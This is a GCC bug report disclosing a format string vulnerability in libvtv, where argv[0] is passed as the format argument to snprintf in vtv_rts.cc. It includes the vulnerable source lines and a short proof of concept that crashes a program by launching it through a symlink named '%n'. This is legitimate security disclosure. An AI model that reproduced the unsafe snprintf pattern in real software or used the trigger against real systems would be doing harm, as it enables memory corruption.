https://gcc.gnu.org/bugzilla/show_bug.cgi?id=83520
Bug ID: 83520 Summary: format string bug in libvtv Product: gcc Version: unknown Status: UNCONFIRMED Severity: normal Priority: P3 Component: other Assignee: unassigned at gcc dot gnu.org Reporter: charo.ctf at gmail dot com Target Milestone: --- Description: On startup of a program compiled with "-fvtable-verify=std" or "-fvtable-verify=preinit", argv[0] is directly passed as the third argument of snprintf. This would cause memory corruption if argv[0] contains format specifiers like %n. Affected version: gcc>=4.9 configured with --enable-vtable-verify Technical description: The code below is taken from gcc-5-20171003/libvtv/vtv_rts.cc ======vtv_rts.cc (line 832-856)====== static int dl_iterate_phdr_callback (struct dl_phdr_info *info, size_t, void *data) { int * mprotect_flags = (int *) data; off_t map_sect_offset = 0; ElfW (Word) map_sect_len = 0; char buffer[1024]; char program_name[1024]; const char *map_sect_name = VTV_PROTECTED_VARS_SECTION; /* Check to see if this is the record for the Linux Virtual Dynamic Shared Object (linux-vdso.so.1), which exists only in memory (and therefore cannot be read from disk). */ if (strcmp (info->dlpi_name, "linux-vdso.so.1") == 0) return 0; if (strlen (info->dlpi_name) == 0 && info->dlpi_addr != 0) return 0; /* Get the name of the main executable. This may or may not include arguments passed to the program. Find the first space, assume it is the start of the argument list, and change it to a '\0'. */ snprintf (program_name, sizeof (program_name), program_invocation_name); ===================================== As we can see, there is a format string bug at the last line of the code above. According to the manpage of program_invocation_name, program_invocation_name is the same as the value of argv[0] of main(), which means that this value is user supplied. There is another format string bug with the same situation as above in read_section_offset_and_length function (line 576). ===PoC=== $ g++-vtv -v Using built-in specs. COLLECT_GCC=g++-vtv COLLECT_LTO_WRAPPER=/usr/local/libexec/gcc/x86_64-linux-gnu/5.4.1/lto-wrapper Target: x86_64-linux-gnu Configured with: ../gcc-5-20171003/configure -v --enable-languages=c,c++ --program-suffix=-vtv --disable-multilib --enable-libstdcxx-threads --enable-vtable-verify --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu Thread model: posix gcc version 5.4.1 20171003 (GCC) $ cat victim.cpp #include <stdio.h> int main(){ puts("Hello world"); } $ g++-vtv -o victim -fvtable-verify=std victim.cpp $ ./victim Hello world $ ln -s ./victim ./%n $ ./%n Segmentation fault (core dumped) =========